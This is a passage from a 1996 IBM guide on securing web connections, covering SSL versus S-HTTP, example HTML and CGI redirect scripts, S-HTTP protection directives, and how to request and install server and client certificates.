With this in mind, let us look at the cryptographic features that S-HTTP can
negotiate. There are, in fact, many possible features in the negotiation dialog,
but the following list describes the most important ones:
Privacy enhancements
This describes the overall shape of the
encryption scheme. It can take any
combination of sign , encrypt and auth . Sign
means that the sender provides a signature
block, encrypt means that the data is to be
encrypted and auth means that a Message
Authentication Code (or MAC, a digest of the
message contents) is to be included to
guarantee integrity.
Beware Confusing Terminology!
In this book we use the term authentication
when verifying the sender of the message
and the term integrity when checking that
the contents of the message are unchanged.
By contrast S-HTTP uses signing for sender
verification and (confusingly) authentication
for message verification.
48
Signature algorithms
This defines what kind of public-key encryption
is to be used for the authentication signature
block.
Symmetric content algorithms
This defines what type of symmetric-key
encryption is to be used to ensure the privacy
of the data content.
Message digest algorithms
This defines what hashing function is to be used
to generate a MAC.
Key exchange algorithms
S-HTTP supports use of RSA public-key
encryption to transfer cipher keys, similar to the
method used by SSL (see Figure 20 on
page 45). However, it also allows for out of
Safe Surfing: How to Build a Secure WWW Connection
band key exchange and for Kerberos key
distribution.
Privacy domains
This describes the kind of message formats the
session partners will use. The normal message
format is Public Key Cryptography Standard 7
(PKCS7), but Privacy Enhanced Mail (PEM) is
also supported (see Appendix B, “Alphabet
Soup: Some Security Standards and Protocols”
on page 147 for a description of these
standards). The setting of privacy domains
controls the syntax for such things as digital
envelopes, digital signatures and certificates. It
also controls the way in which specific
cryptographic algorithms are used.
If you factor together the different types of signing, encryption and MAC
generation that are possible, and then further consider the fact that they may be
applied differently in each direction, you end up with a formidable array of
negotiation options. IBM Internet Connection Secure Server and Secure
WebExplorer only support a subset of them. Table 2 shows the different options
they support.
Table 2. S-HTTP Cryptography Options Supported by I B M Internet Connection Family
Products
Cryptography Option
Possible Values
Privacy Enhancements
Encrypt or sign. The auth option
(causing a MAC to be generated) is
automatically included with the sign
option, but it cannot be explicitly
specified in the current version.
Signature Algorithms
RSA
Symmetric Content Algorithms
DES-CBC or RC2-CBC. If either the
client or server is outside the U.S., you
can specify a reduced key size for RC2
(up to 40 bits).
Message Digest Algorithms
MD2 or MD5
Key Exchange Algorithms
RSA
Privacy Domains
PKCS7 or PEM (but only PKCS7 is valid
if encryption is selected and the client or
server is outside the U.S.).
4.2.3 SSL and S-HTTP Compared
Although these two protocols attack the same set of problems, they use
significantly different approaches. You can think of S-HTTP as a smorgasbord
approach, with a large choice of options that are taken in any combination to
make the meal of your choice. By contrast, SSL is something of a fixed-price
menu, good wholesome food but a limited number of combinations.
One major advantage of S-HTTP is its ability to perform client authentication.
This allows a truly secure client/server session to be established. The fact that
this requires the client to have a public-key certificate limits the degree to which
it may be applied, however.
Chapter 4. A Tangled Web: SSL and S-HTTP
49
The major advantage of SSL lies in its ease of use. The cryptography options
are all hard-coded into the browser and server code, so the Webmaster does not
need to worry about specifying options in HTML or configuration files. Also, the
domination of Netscape products in the World Wide Web makes SSL the clear
choice for applications with a widespread client base.
You could, in theory, use both S-HTTP and SSL together, since one enhances the
HTTP session flow and the other encapsulates it. The only thing preventing this
in current implementations is the fact that the URL conventions (https: for SSL
and shttp: for S-HTTP) are contradictory. However, it is difficult to imagine a
situation in which combining the protocols would make any sense.
A Thought
This raises an interesting point. If you were using an export version of the
server (with 40-bit keys) you would presumably get the effect of a larger key
size by enveloping an encrypted S-HTTP session within an SSL secure
channel. You would be using a legally exported product, but would you
technically be breaking the conditions of the export license? A question for
the lawyers!
4.3 Creating Documents That Use SSL and S-HTTP
In this section we will show some examples of HTML coding to invoke SSL and
S-HTTP security. In order to make these work you need a public-key certificate
for your server (plus one for each of your client machines, for some of the
S-HTTP examples). Understanding and administering keys is the most
complicated aspect of using the protocols, so we have devoted a complete
chapter to it. If you want to know more about keys and certificates at this point,
you should skip ahead to Chapter 5, “A Web of Trust: Managing Encryption
Keys” on page 65 before continuing here.
4.3.1 Using SSL
For your server to be able to deliver documents using SSL, you need to have the
following pre-requisites:
•
The server must have a valid public-key certificate loaded.
•
The client must accept the certifying authority that signed the certificate as a
trusted root.
What these two requirements mean, in simple terms, is that the server is able to
prove its identity to the client. If you want to understand some more about the
certification process, refer to Chapter 5, “A Web of Trust: Managing Encryption
Keys” on page 65.
Once you have the certificate in place, creating HTML forms that use SSL is very
easy; the browser only has to specify a URL that commences https: instead of
the normal http:. For example, in Figure 22 on page 51 we have changed the
start of the URL to https: for our server and not specified any file name. The
result is that it sends the standard welcome page using an SSL session.
50
Safe Surfing: How to Build a Secure WWW Connection
Figure 22. Server Welcome Page Using SSL
When you enter an SSL-protected document you will notice two things:
•
If you protected your key ring with a password, you are prompted for it (the
key ring is where the browser keeps its certificates). This happens only the
first time after you restart the browser.
•
A lock symbol appears in the bottom left corner of your browser to indicate a
secure connection (see Figure 22). If you prefer a more dramatic warning
that you are starting a secure session, you can select Configure, then Alerts
and then click on the Entering a Secure Document option.
You can find out more about the secure session by clicking on the underlined
lock symbol in the icon bar or by selecting Security and then Server Certificate
from the menu bar. Figure 23 on page 52 shows the resulting panel.
Chapter 4. A Tangled Web: SSL and S-HTTP
51
Figure 23. Server Certificate Information. Note that in this case w e can infer that both
the server and the client are US versions, because the key size is greater than 40 bits.
4.3.1.1 Accessing SSL Documents from HTML Anchors
The example above shows how easy it is to enter SSL mode, but in general you
do not want your users to have to type in a special URL to use the security
functions. It is better if the user is taken automatically into SSL mode when he
clicks on a hypertext link to a secure document. Figure 24 demonstrates a
simple HTML page that includes such an anchor.
<!DOCTYPE HTML PUBLIC ″-//IETF//DTD HTML//EN″>
<HTML>
<HEAD><TITLE>
Test Page
</TITLE></HEAD>
<BODY>
<H1>
Test Page
</H1>
<P>
<H2>
Welcome to the local test page<ul>
<A HREF=″https://mcgregor.itso.ral.ibm.com/alberto/secure.html″>
Link to Secure page using SSL</a></h2>
<!-- Written by A.Aresi , Doc Date 95/08/16 -->
</BODY></HTML>
Figure 24. HTML for Web Page with SSL Link
52
Safe Surfing: How to Build a Secure WWW Connection
The page that resulted from this HTML is shown in Figure 25 on page 53.
Figure 25. HTML Link to a Secure Page
When we clicked on Link to secure page using SSL we first saw the warning
pop-up, shown in Figure 26. This is because we had selected the alert option to
show that we were entering a secure document. After selecting Yes we arrived
at the secure test page, as shown in Figure 27 on page 54.
Figure 26. Warning to Show We A r e Entering a Secure Page
Chapter 4. A Tangled Web: SSL and S-HTTP
53
Figure 27. SSL-Protected Test Page.
left of the screen.
Notice the lock indicator that appears at the bottom
4.3.1.2 Identifying a Secure Browser
The HTML example in Figure 24 on page 52 works perfectly for SSL-capable
browsers, such as Secure WebExplorer or Netscape Navigator. However, if we
select the link using a conventional browser the server will just reject the URL
request with an error message. There are two ways to deal with this. The first
is to have alternative anchors for secure and nonsecure browsers. A good
example of this can be seen at the Dilbert Zone, home on the Web for Scott
Adams′ Dilbert comic strip. Figure 28 on page 55 shows the Web page.
54
Safe Surfing: How to Build a Secure WWW Connection
Figure 28. Using Alternative Links for Secure and Nonsecure Browsers.
the permission of United Feature Syndicate Inc.
Reprinted with
The optional links that take you to the secure or insecure connection is at the
bottom of the page ( Access the Dilbert Store with: ) The HTML coding to do this is
as follows:
<A HREF = ″https://www.unitedmedia.com/comics/dilbert/store/″>Netscape Security
</A> | <A HREF = ″store/″>No Security</A>
Notice that in the nonsecure case the file reference can be abbreviated using a
relative path name, while in the secure case the change to the first element of
the URL (from http: to https:) forces it to be written in full.
The second way to handle an access attempt by a nonsecure browser is to use a
link to a CGI script instead of a regular HTML page. The CGI script can then
examine one of the environment variables that are passed by the CGI interface.
Unfortunately, there is no variable that uniquely identifies whether a browser is
SSL-capable or not, so you have to check variable HTTP_USER_AGENT which
identifes the browser type. Figure 29 on page 56 shows a REXX example (for an
OS/2 server) and Figure 30 on page 56 shows a Korn shell version (for an AIX
server). Both examples compare HTTP_USER_AGENT with a list of known
SSL-capable browsers.
Chapter 4. A Tangled Web: SSL and S-HTTP
55
/*
*/
″@ECHO OFF″
browser_type = value(″HTTP_USER_AGENT″ , , ″ OS2ENVIRONMENT″ )
/* Check for Secure WebExplorer, Netscape Navigator V1.12 (with random
key generation fix) and Netscape Navigator V2 */
select
when browser_type = ″IBM WebExplorer DLL /v1.1″ then url_front=″https″
when LEFT(browser_type,12) = ″Mozilla/1.12″ then url_front=″https″
when LEFT(browser_type,11) = ″Mozilla/2.0″ then url_front=″https″
otherwise url_front=″http″
end
say ″Location:″ url_front″ : / / mcgregor.itso.ral.ibm.com/alberto/may_be_secure.html″
say ″″
Figure 29. REXX Program ssl_or_not.cmd
#!/bin/ksh
browser_type=$HTTP_USER_AGENT
# Check for Secure WebExplorer, Netscape Navigator V1.12 (with random
# key generation fix) and Netscape Navigator V2
case $browser_type in
″IBM WebExplorer DLL /v1.1″ ) url_front=https;;
Mozilla/1.12*
) url_front=https;;
Mozilla/2.0*
) url_front=https;;
*
) url_front=http ;;
esac
print ″Location: $url_front://mcgregor.itso.ral.ibm.com/alberto/may_be_secure.html″
print ″″
Figure 30. AIX K o r n Shell Script ssl_or_not.ksh
Normally when a CGI script wants to send a Web page to the client it simply
prints the HTML source and the server delivers the output to the browser. In this
case we want to tell the browser to load another URL. The output from the
scripts is a single Location: line containing the URL that we want to be used. In
fact, regardless of the browser type, these scripts always sends the same file,
but use the https: prefix in the URL if the browser known to be SSL-capable.
The effect of the Location: request is to cause the server to send a redirect
request to the browser, which in turn requests the new URL.
To invoke this script we just need to place a suitable anchor in the document
from which we want to link to the secure form, for example:
<A HREF=″ / cgi-bin/ssl_or_not.cmd″>CGI Test</A>
4.3.2 Using S-HTTP
As we described in 4.2.2, “S-HTTP” on page 47, S-HTTP permits a great many
combinations of cryptographic features. As you might expect, this diversity can
make document preparation for S-HTTP rather complex.
There are two pieces of information that you have to define:
1. The cryptographic features that you want to use. These are defined in
CRYPTOPTS statements, either as part of HTML anchors or in a protection
directive in the server configuration file.
56
Safe Surfing: How to Build a Secure WWW Connection
2. The public key that your server will use for signing and key exchange. The
key will be contained in a certificate (see Chapter 5, “A Web of Trust:
Managing Encryption Keys” on page 65 for a discussion about certificates).
The certificate can either be included in the HTML source directly or it can
be in a separate file that you reference.
4.3.2.1 S-HTTP Example Using Security Imbeds
In this example we will link to a document with S-HTTP security using the
following cryptographic options:
•
Server to sign all messages
•
Client to sign all messages
•
Encryption using DES for server to client and RC2 for client to server (that
should confuse the opposition)
The prerequisites for this kind of session are:
•
Both client and server must be US versions (otherwise they cannot do DES).
•
Both client and server must have public keys.
•
The public keys must have each have a certificate that the other session
partner can accept (they have to be able to trust each other).
In this example we will reference the certificate information remotely, instead of
including it in the HTML code.
The first thing to do is to check that security imbeds are enabled on the server.
From the Server welcome page select Configuration and Administration Forms
and then Security Configuration. On that page you will find the S-HTTP
configuration options, as shown in Figure 31. The default options permit security
imbeds for HTML files with a file extension of .shtml.
Figure 31. Setting S-HTTP Options
You can also modify these options by editing them directly in the server
configuration file, httpd.conf (httpd.cnf in OS/2).
Chapter 4. A Tangled Web: SSL and S-HTTP
57
Next we need to code the HTML for the page from which we will enter S-HTTP.
It is very important to use the file extension that is designated for S-HTTP
imbeds (in our case the file extension is .shttp, see Figure 31). If you do not use
the right extension the page will look completely different on your Web browser.
Some of the control characters will not be properly interpreted and the security
options will not be usable. Figure 32 shows the HTML file for our example.
<!DOCTYPE HTML PUBLIC ″-//IETF//DTD HTML//EN″>
<HEAD>
<!--#certs name=″server key″-->
1
</HEAD>
<BODY>
<TITLE>Secure HTTP Example 1</TITLE>
<H1>S-HTTP Using Security Imbeds for Certificate and CRYPTOPTS in HTML</H1>
<BR>
<CENTER>
<A href=″shttp://mcgregor.itso.ral.ibm.com/target.html″
2
DN=<!--#dn name=″server key″-->
3
CRYPTOPTS=
4
″SHTTP-Privacy-Enhancements: orig-required=encrypt,sign;recv-required=encrypt,sign
″SHTTP-Symmetric-Content-Algorithms: orig-required=DES-CBC;recv-required=RC2-CBC
>Click here to sample the wonders of S-HTTP</A>
</BODY>
Figure 32. S-HTTP Example shttp1.shtml
The following notes refer to the numbered lines in the HTML file:
1. The entry < ! - - # c e r t s n a m e = ″server key″- - > identifies a security imbed
request. When the page is requested, the server will fetch the public-key
certificate labelled server key from its key ring file. You assign the label to
the certificate when you receive it into the key ring (we will explain this some
more in Chapter 5, “A Web of Trust: Managing Encryption Keys” on
page 65). If you forget what the key was called, you can find out by
selecting Configuration and Administration Forms from the server welcome
page, then Key Management and then click on Manage Keys.
2. The anchor tag includes the URL of the target document, as normal, but in
this case the first element of the URL is shttp: which causes the S-HTTP
processing to be invoked when the user clicks on the link.
3. The DN parameter specifies the Distinguished Name . This identifies the
owner of the public-key certificate, including details such as mailing address
and company or organization. This information is inside the public-key
certificate, so again we use a security imbed to ask the server to extract it at
run time.
4. The CRYPTOPTS parameter defines our required security features. This
coding is written from the point of view of the server, so any option with an
orig- prefix refers to data flow from server to client.
Figure 33 on page 59 shows the Web page that results from this HTML code.
58
Safe Surfing: How to Build a Secure WWW Connection
Figure 33. Result of the S-HTTP Example
If you now click on the link your connection will be secured, and the target.html
document will be displayed. Figure 34 on page 60 shows this document, and
also shows the security details of the session. You get this by clicking on the
underlined lock symbol in the icon bar, or by selecting Security and then Server
Certificate from the menu bar.
Chapter 4. A Tangled Web: SSL and S-HTTP
59
Figure 34. S-HTTP Secured Page and Server Certificate Details
Notice that the cryptographic options that we specified in the CRYPTOPTS
definitions have been applied (bear in mind that you are now looking at the
session from the client viewpoint, so the directions are reversed). You could
also look at details of your own certificate (the client certificate), if you wished.
What will happen if one of the prerequisites is not met, for example if the client
does not have a public key? The initial page (see Figure 33 on page 59) will be
served without a problem, but when you click on the link the error message
shown in Figure 35 is displayed.
Figure 35. Error Displayed If Client Cannot Sign
60
Safe Surfing: How to Build a Secure WWW Connection
4.3.2.2 S-HTTP Example without Using Security Imbeds
Using imbeds to import certificate data at run time simplifies the task of creating
the HTML file, but it also adds extra processing overhead. The alternative is to
code the certificate and distinguished name directly in the HTML file. Figure 36
shows the same example as in Figure 32 on page 58, but with direct certificate
coding.
<!DOCTYPE HTML PUBLIC ″ -//IETF//DTD HTML//EN″>
<HEAD>
<CERTS FMT=PKCS7>
MIAGCSqGSIb3DQEHAqCAMIACAQExADCABgkqhkiG9w0BBwEAAKCAMIIBujCCAVYC
AgSjMA0GCSqGSIb3DQEBAgUAME0xCzAJBgNVBAYTAlVTMSAwHgYDVQQKExdSU0Eg
RGF0YSBTZWN1cml0eSwgSW5jLjEcMBoGA1UECxMTUGVyc29uYSBDZXJ0aWZpY2F0
ZTAeFw05NTA5MjkyMjIwMDBaFw05NjA5MjgyMjIwMDBaMHQxCzAJBgNVBAYTAlVT
MSAwHgYDVQQKExdSU0EgRGF0YSBTZWN1cml0eSwgSW5jLjEcMBoGA1UECxMTUGVy
c29uYSBDZXJ0aWZpY2F0ZTElMCMGA1UEAxMcU2VydmVyIEtleSBmb3IgUm9iIE1h
Y2dyZWdvcjBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDb4Ht4ThIJB/VhltmqeavE
H52uWmg2X2Y1idGvcQOx2Foc9KBWEAU3U1j8UxGfM25Izckxo/QqnjmNBgIQRtwD
AgMBAAEwDQYJKoZIhvcNAQECBQADTwAAIpbAds5uIDk6R9jyU17uF+SxQSOs3z+Z
rS6Z4xsPgtNkHKqpy8SpNcjJDP8VVpIPuOmrEcXqlEwcVvEmnf7yDPOTNLn+53Li
pvZ60IsAADGAAAAAAAAAAAA=
</CERTS>
</HEAD>
<BODY>
<TITLE>Secure HTTP Example 2</TITLE>
<H1>S-HTTP Using Certificate and CRYPTOPTS in HTML</H1>
<BR>
<CENTER>
<A href=″ shttp://mcgregor.itso.ral.ibm.com/target.html″
DN=
″ CN=Server Key for Rob Macgregor, OU=Persona Certificate, O=″ RSA Data Security, Inc.″ , C=US″
CRYPTOPTS=
″ S-HTTP-Privacy-Enhancements: orig-required=encrypt,sign;recv-required=encrypt,sign
S-HTTP-Symmetric-Content-Algorithms: orig-required=DES-CBC;recv-required=RC2-CBC
>Click here to sample the wonders of S-HTTP</A>
</BODY>
Figure 36. S-HTTP Example shttp2.html
The PKCS7 certificate is base64 encoded. We last encountered base64 encoding
in the HTTP basic authentication process (see Figure 2 on page 7), where it was
being used to mask the user ID and password. In this case it is used because it
can be safely transmitted by different ASCII and EBCDIC character-based
applications (primarily mail). You can also see that the distinguished name
information matches the certificate information that we saw when in the secure
session of the previous example (see Figure 34 on page 60).
4.3.2.3 Should You Use Security Imbeds?
We can summarize the advantages and disadvantages of using security imbeds,
compared to coding the certificate information in HTML as follows:
1. Security imbeds are a lot easier to code and maintain than the certificate
information.
2. Security imbeds generate extra server processing because the information
has to be retrieved and reformatted.
We recommend the following:
1. Always create S-HTTP documents using security imbeds.
2. When you have the document working as you want, display it using a Web
browser and then save the HTML source. In Secure WebExplorer you do that
by selecting File, View File (HTML) from the menu bar and then selecting
File, Save As from the resulting edit window. This is the document that was
sent to the browser, so you will find that all the imbeds have been resolved.
Chapter 4. A Tangled Web: SSL and S-HTTP
61
You can then replace your original version of the document with the saved
file.
4.3.2.4 S-HTTP Example with CRYPTOPTS in Protection Directives
There is one hole in the security of the S-HTTP examples we have shown so far.
They successfully create a secure session when a user clicks on the link, but
they do not prevent the user from accessing the target document directly, by
typing its URL and substituting a regular http: header for the shttp: header.
There are three ways to deal with this situation:
1. Do nothing. This may not sound like a good idea, but it may be that you are
implementing S-HTTP security to protect the client, rather than the server. In
such a case, if the user decides to expose himself he has only himself to
blame when something goes wrong.
2. Use CGI scripts to check that S-HTTP has been invoked. You can get several
pieces of information about the S-HTTP status through environment
variables. The variable that is most likely to be useful is SHTTP_PROCESS,
which tells you what privacy enhancements were requested in the document
request. Figure 29 on page 56 and Figure 30 on page 56 are examples of
using environment variables in a CGI script.
3. Protect files using CRYPTOPT definitions either in Protection directives in the
server configuration file or in ACL files.
We will now show an example of this latter approach. We will add entries to the
configuration file to ensure that documents in directory /shttpdocs are only
served under S-HTTP security. Table 3 shows the definitions we added to
httpd.conf (httpd.cnf on OS/2).
Table 3. Protection Directives for S-HTTP
AIX
The protected subdirectory is /usr/local/www/shttpdocs.
The server document root is /usr/local/www.
Protection SHTTP {
AuthType
None
GetCrypt
SHTTP-Privacy-Enhancements: receive-required=sign
GetMask
[email protected](*)
}
Protect /shttpdocs/* SHTTP
OS/2
The protected subdirectory is c:\WWW\HTML\SHTTPDOCS.
The server document root is c:\WWW\HTML.
Protection SHTTP {
AuthType
None
GetCrypt
SHTTP-Privacy-Enhancements: receive-required=sign
GetMask
[email protected](*)
}
Protect /shttpdocs/* SHTTP
Note: The GetMask definition of [email protected](*) is necessary and is different from
the [email protected](*) construction normally found when using basic authentication.
Figure 37 on page 63 shows the HTML code for the document that we used to
test this protection setup.
62
Safe Surfing: How to Build a Secure WWW Connection
<!DOCTYPE HTML PUBLIC ″ -//IETF//DTD HTML//EN″>
<HEAD>
<!--#certs name=″ server key″ -->
</HEAD>
<BODY>
<TITLE>Secure HTTP Example 1</TITLE>
<H1>S-HTTP Using Security Imbeds for Certificate and CRYPTOPTS in Configuration File</H1>
<BR>
<CENTER>
<A href=″ shttp://mcgregor.itso.ral.ibm.com/shttpdocs/target.html″
DN=<!--#dn name=″ server key″ -->
CRYPTOPTS=
″ SHTTP-Privacy-Enhancements: recv-required=encrypt,sign;orig-required=encrypt,sign″
>Click here for encryption and signing</A>
<BR>
<A href=″ shttp://mcgregor.itso.ral.ibm.com/shttpdocs/target.html″
DN=<!--#dn name=″ server key″ -->
CRYPTOPTS=
″ SHTTP-Privacy-Enhancements: recv-required=sign;orig-refused=sign,encrypt;recv-refused=encrypt″
>Click here for client signing only</A>
<BR>
<A href=″ shttp://mcgregor.itso.ral.ibm.com/shttpdocs/target.html″
DN=<!--#dn name=″ server key″ -->
CRYPTOPTS=
″ SHTTP-Privacy-Enhancements: recv-required=encrypt;orig-required=encrypt;recv-refused=sign″
>Click here for encryption only (should fail)</A>
</BODY>
Figure 37. HTML for CRYPTOPTS in Configuration File Example
The formatted page is shown in Figure 38.
Figure 38. Test Document for CRYPTOPTS Configuration File Example
In this example there are three links defined:
1. The first link requests signing and encryption in both directions. The
Protection directive only requires the client to sign, and allows the other
options (server signing and encryption) to default. The default is that they
are optional, so this link works correctly.
2. The second link requests client signing only. This is exactly what the
Protection directive requires, so this link is successful too.
3. The third link requests encryption with no signing. This does not meet the
requirements of the Protection directive, so it fails. The resulting display is
shown in Figure 39 on page 64.
Chapter 4. A Tangled Web: SSL and S-HTTP
63
Figure 39. Result of Mismatched CRYPTOPTS
In this example we are insisting that the client identify himself before allowing
access to a given document. Does this mean that we have an alternative to
basic authentication and its user IDs and passwords? Unfortunately not,
because using S-HTTP in this way only checks to see if the user can identify
themselves. It does not check what their identity is. We could use CGI scripts to
check the information contained in the client′s public-key certificate if we wanted
to extend the checking mechanism.
64
Safe Surfing: How to Build a Secure WWW Connection
Chapter 5. A Web of Trust: Managing Encryption Keys
Most of the difficulty of setting up secure applications such as SSL and S-HTTP
lies in obtaining and handling the keys. In this chapter we will introduce
public-key certificates and certifying authorities, and then show some examples
of key management using the IBM Internet Connection Secure Server and
Secure WebExplorer.
5.1 Public-Key Certificates
In 4.1.2, “Public-Key Encryption” on page 40 we saw how public-key
cryptography allows you to distribute encryption keys widely, without having to
worry about them being stolen. However this still leaves one problem; how can
you be sure that the owner of the public key is really who he claims to be?
This is what public-key certificates are all about. Figure 40 illustrates how they
work.
Figure 40. Public-Key Certificates
The idea is that when someone sends you their public key, they send it
packaged in a special format called a certificate. In addition to the key itself
there is some information about the sender, such as company name and
address. This information is called the distinguished name . The whole package
is signed using the private key of some trusted organization, called a certifying
authority (CA). The most commonly accepted standard for certificates is the
CCITT X.509 standard. You will sometimes see references to certificates being
in PKCS7 or PEM format. In fact, these standards define the message format
that carries the certificate, not the certificate itself. Both standards carry X.509
certificates (see Appendix B, “Alphabet Soup: Some Security Standards and
Protocols” on page 147 for an explanation of PEM and the PKCSx standards).
What the certificate tells you is that the certifying authority vouches for the fact
that the public key really does belong to the organization identified by the
 Copyright IBM Corp. 1996
65
distinguished name. This means that we can use the public key with confidence,
as long as we trust the certifying authority itself. This leads to the next question:
where will we find a certifying authority that we can trust?
5.1.1 Certifying Authorities
We are now at the point where a question of technology turns into one of
philosophy: who can we trust to tell us who we can trust? There are three basic
models of trust for certifying authorities (see Figure 41).
Figure 41. CA Trust Models
The flat model is the one that is generally used for SSL connections. In it, there
are a small number of widely accepted certifying authorities. These may be
commercial or government organizations, the main requirement is that they
should be widely accepted as trustworthy. At the time of writing the only
commercially accepted CA is Verisign Inc., which is a spin-off from RSA Data
Security Inc. Before Verisign was formed, RSA performed a CA role directly.
Bear in mind, however, that you can create your own flat CA structure within a
private organization, acting as your own certifying authority. We will show an
example of how to set this up in 5.2.4, “Acting As a Certifying Authority” on
page 73.
The hierarchical trust model (sometimes referred to as transitive trust) is not yet
widely used, but the concept is that the highest level CA will devolve
66
Safe Surfing: How to Build a Secure WWW Connection
certificate-issuing authority to other CAs. The certificates that these CAs issue
will contain a complete certification chain, with the lower CA certifying the public
key in the certificate and the higher CA certifying the public key of the lower CA.
The PGP model is much more in the free-and-easy tradition of the Internet. PGP
(Pretty Good Privacy) is an electronic privacy program written by Phil
Zimmerman which employs RSA public-key cryptography. PGP is made freely
available, which has upset the US government (see 4.1.1, “Symmetric-Key
Encryption” on page 38). The idea behind the PGP trust model is that you may
not trust any central organization, but you do trust the people you know, and you
also trust their judgement, so anyone they vouch for is OK too. PGP is widely
used for encrypting E-mail but it is not widely used in the World Wide Web.
5.2 Using the Certification Process
In this section we show how to use the facilities of the IBM Internet Connection
Secure Server and Secure WebExplorer to create requests to be certified by a
certifying authority and how to sign your own certificates for testing purposes.
We also discuss the steps needed to set yourself up as a restricted certifying
authority. This facility is a useful choice when you are testing or working within
a limited environment. For example, you may want to have a restricted CA for
communications within an enterprise. We are not suggesting that you set
yourself up as a full-blown public certifying authority. If that is what you plan to
do, you should seek legal advice because the liabilities involved are not well
defined.
The IBM Internet Connection secure family of products gives you two ways to
perform certificate and key management:
1. On the server, using the administration and configuration HTML forms. You
do not need Secure WebExplorer to use these forms, any Web browser will
work.
2. On the Secure WebExplorer browser, using the key management application.
In general you can perform any of the functions that you need using either
technique. The browser key management application allows you to look at the
contents of keys more easily, and it does not suffer from some of the dialog
limitations that HTML forms impose. In the following examples we will make use
of both techniques.
Tip
If you are using the IBM Internet Connection Secure Server configuration
forms, we recommend that you turn off caching on your browser. The reason
for this is that some of the dialogs are quite complex CGI programs and the
cache will remember the point at which you last left them. This means that
sometimes you will not find yourself at the start of a dialog when you select it
from a menu, which can be confusing. The alternative to turning off caching
is to make sure that you reload the document in Secure WebExplorer. To do
this select Navigate and then Reload Document (URL) if you think you are not
where you should be.
When you perform key management you are really making changes to the key
ring file . The key ring file is where IBM Internet Connection Secure Server and
Chapter 5. A Web of Trust: Managing Encryption Keys
67
Secure WebExplorer keeps all of their certificates. Whenever you create a new
key ring the certificates of four trusted CAs are added by default as trusted root
keys, namely:
•
RSA (Verisign) Secure Server Certificate Authority
•
Netscape Test Certificate Authority
•
RSA Low Assurance Certificate Authority
•
Verisign Persona Certificate Authority
Only the first of these is in common use at present, and you may want to remove
the others if you are concerned about the level of assurance that they provide.
The key ring file is protected by a password, which you will be prompted to enter
at server startup or the first time you access the key ring after starting the
browser.
5.2.1 Requesting a Server Certificate from a Known CA
This is the most likely scenario if you are setting up a commercial server. The
sequence of actions that you need to perform are as follows:
1. Create a public/private key pair, storing the private part in your key ring and
the public part in a certificate file.
2. Send the certificate to a CA for signing.
3. Receive the signed certificate into your key ring, thereby completing the key
pair so that you can use it to encrypt and sign messages.
To achieve these actions, do the following steps:
1. Start both your Web browser and Secure Internet Connection Server.
2. Enter URL http://servername/admin-bin/cfgin/initial, which shows you the
Configuration and Administration forms. You will be prompted for the
administrative user ID and password (by default, webadmin and webibm
respectively).
3. Select Create Keys. You will be presented with a list of three possible
certificate types:
•
Verisign Persona
•
Verisign Secure Server
•
Other
You should note that the Persona certificate is a low assurance certificate,
you should use it on a server for test purposes only.
You will probably want to select VeriSign (Secure Server Certificate). Then
click on Apply.
4. Fill in a password and be sure to remember it and all the names you used.
Note that you can save your certificate request as any name you choose.
5. Decide whether or not to check the automatic login button. If you check it,
you will not be prompted for the key ring password every time you start the
server. This is good from the point of view of availability (it will
automatically restart if you have a power outage in the middle of the night,
for example). On the other hand it means that the password is kept in a file
on the system, which may be an exposure.
68
Safe Surfing: How to Build a Secure WWW Connection
6. Fill in all of the pertinent fields on the Create Key screen. Figure 42 on
page 69 shows an example of this.
Figure 42. Requesting a Public-Key Certificate
Note that when filling in the state field it must be at least a three-digit name,
for example N.C. for North Carolina.
7. If the request is for a Verisign Persona certificate, you can select to send the
request by E-mail directly. The E-mail request will come from your Web
browser and therefore Verisign will send the response to the E-mail address
associated with the browser. Make sure that you have configured it
correctly. In Secure WebExplorer you do this by selecting Configure and
then Servers from the menu bar.
8. Once all of the fields are entered, click on Apply.
In a few seconds you should receive a successful confirmation screen from
the server. If you get an error, go back and recheck the fields for possible
mistakes.
What has just happened?
By following the instructions up to this point the following will have
happened:
1. A public/private key pair has been created and placed in your key
ring file. You never get to see the private part of the key and you
need the key ring password in order to use it.
2. The public part of the key has been embedded in a X.509 certificate
and placed in a file. The certificate as it stands has not been signed
by a certifying authority, so you cannot use it yet.
Chapter 5. A Web of Trust: Managing Encryption Keys
69
9. What happens next depends on the type of certificate you requested. If it is
a Verisign Persona request, you will receive the certificate back by E-mail
very shortly. If you requested a Secure Server certificate you will need to
prepare a letter with details about your organization and your server and
send it to Verisign using conventional mail or Fax. You also need to send
payment for the certificate to Verisign. Concurrently, you will send the
certificate request file by E-mail. The details of the certification process are
described at http://www.verisign.com. Select Digital ID Services and then
IBM Internet Connection Servers for details of how to get certificates for the
IBM Internet Connection Secure Server family.
When you receive your certificate from the CA, you have both pieces of the
puzzle; a private key and a public key contained in a valid certificate. To be able
to use the certificate you must install it into your key ring file by doing the
following:
1. Return to the Administration page and select the Receive Certificate request.
Fill in the proper information.
2. Click on Apply to start the process. In a few seconds you should receive a
successful confirmation. If you get an error, go back and recheck the fields
for possible mistakes.
3. Stop and restart the server. If you did not specify automatic login you will be
prompted for a password. This will be the password you chose during the
create key process.
The server can now serve documents using SSL or S-HTTP.
If you are not prompted for a password and you did not specify automatic login
you should check to see that the key ring file and certificate request were stored
in the proper directory.
Your server configuration file (httpd.conf on AIX or httpd.cnf on OS/2) should
contain the following statements:
#
sslmode
on
#
sslport 443
#
normalmode on
#
keyfile ibmkeyfile.kyr
#
5.2.2 Requesting a Client Persona Certificate
If you want to be able to use S-HTTP with client authentication you need to have
a public key for Secure WebExplorer. You could use a Verisign Commercial
Server certificate for this in the same way as for the server (see 5.2.1,
“Requesting a Server Certificate from a Known CA” on page 68). However, you
are more likely to use a low-assurance Persona certificate, so we will describe
the process for requesting that here.
Regardless of the certificate type, the sequence of events is the same as for the
server case, namely:
1. Create a public/private key pair, storing the private part in your key ring and
the public part in a certificate file.
70
Safe Surfing: How to Build a Secure WWW Connection
2. Send the certificate to a CA for signing.
3. Receive the signed certificate into your key ring, thereby completing the key
pair so that you can use it to encrypt and sign messages.
Secure WebExplorer provides a key management dialog for creating and
maintaining key ring files. Double-click on the Key Management icon in the IBM
Internet Connection folder on the OS/2 desktop to start the dialog, and then
perform the following steps:
1. Select Key Ring, New. You will see the four default trusted root keys are
automatically inserted.
2. Select Edit and then Create Key Pair and define a password for your new key
ring. Click on OK.
3. Select Persona Certificate. You will see a panel
Compare this with the request for a Commercial
Figure 42 on page 69. There is a big difference
information required by Verisign for the low and
like that shown in Figure 43.
Server certificate in
in the quantity and quality of
high assurance cases.
Figure 43. Persona Certificate Request
